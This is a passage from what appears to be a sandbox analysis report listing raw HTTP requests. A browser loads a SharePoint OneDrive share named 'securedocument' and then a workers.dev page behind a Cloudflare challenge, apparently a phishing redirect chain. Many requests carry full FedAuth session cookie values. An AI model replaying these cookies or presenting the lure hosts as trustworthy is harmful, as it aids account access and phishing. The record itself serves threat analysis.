dIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /footprint/v3.2/scripts/fp-min.js HTTP/1.1Host: r4.res.office365.comConnection: keep-aliveOrigin: https://postureshift-my.sharepoint.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /conf/v2/o365se/fpconfig.min.json?monitorId=O365se HTTP/1.1Host: config.fp.measure.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://postureshift-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22STS%22]&languages=%5B%5D HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/jsonContent-Type: application/jsonSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&compWWFlow=true&atomic=true&g=0&l2=trueAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]If-None-Match: "42533790_sts_default_en-us"
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx?odsp-web-prod_2025-03-14.003 HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&compWWFlow=true&atomic=true&g=0&l2=trueAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /conf/v2/o365se/fpconfig.min.json?monitorId=O365se HTTP/1.1Host: config.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.devConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0hkat/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?c5d154ca5113cba279322935e5802c77 HTTP/1.1Host: 828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://postureshift-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92570f7a6a7342ac&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0hkat/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0hkat/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.devConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?a4f605f3c01985fc31bcb133c92fbfe5 HTTP/1.1Host: 828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://postureshift-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?c5d154ca5113cba279322935e5802c77 HTTP/1.1Host: 828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2120792248:1742826393:WW1IYhuY1Efa_mBNLvF5drCFCfb3Vr8PSL4G3oDSqQk/92570f7a6a7342ac/0swLeoflbICloNwC2zFnT8tYFiogNZAGsX8A5ogCpjI-1742828660-1.1.1.1-q_puIwyi6UWAdslo.JKPetQp4SBpBNEHGk_U6RbjswFYuUzL0ezF0dHJWTlepvUE HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/92570f7a6a7342ac/1742828662206/9b2bf10e02b9386c6040e1d19be744573a88157982da596ac1b7a8aede60c9d6/b5MOIlFaCJapvEn HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0hkat/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?bb17b2c59be470c76e2bc56ececf2031 HTTP/1.1Host: tr-ofc-atm.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://postureshift-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?a4f605f3c01985fc31bcb133c92fbfe5 HTTP/1.1Host: 828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
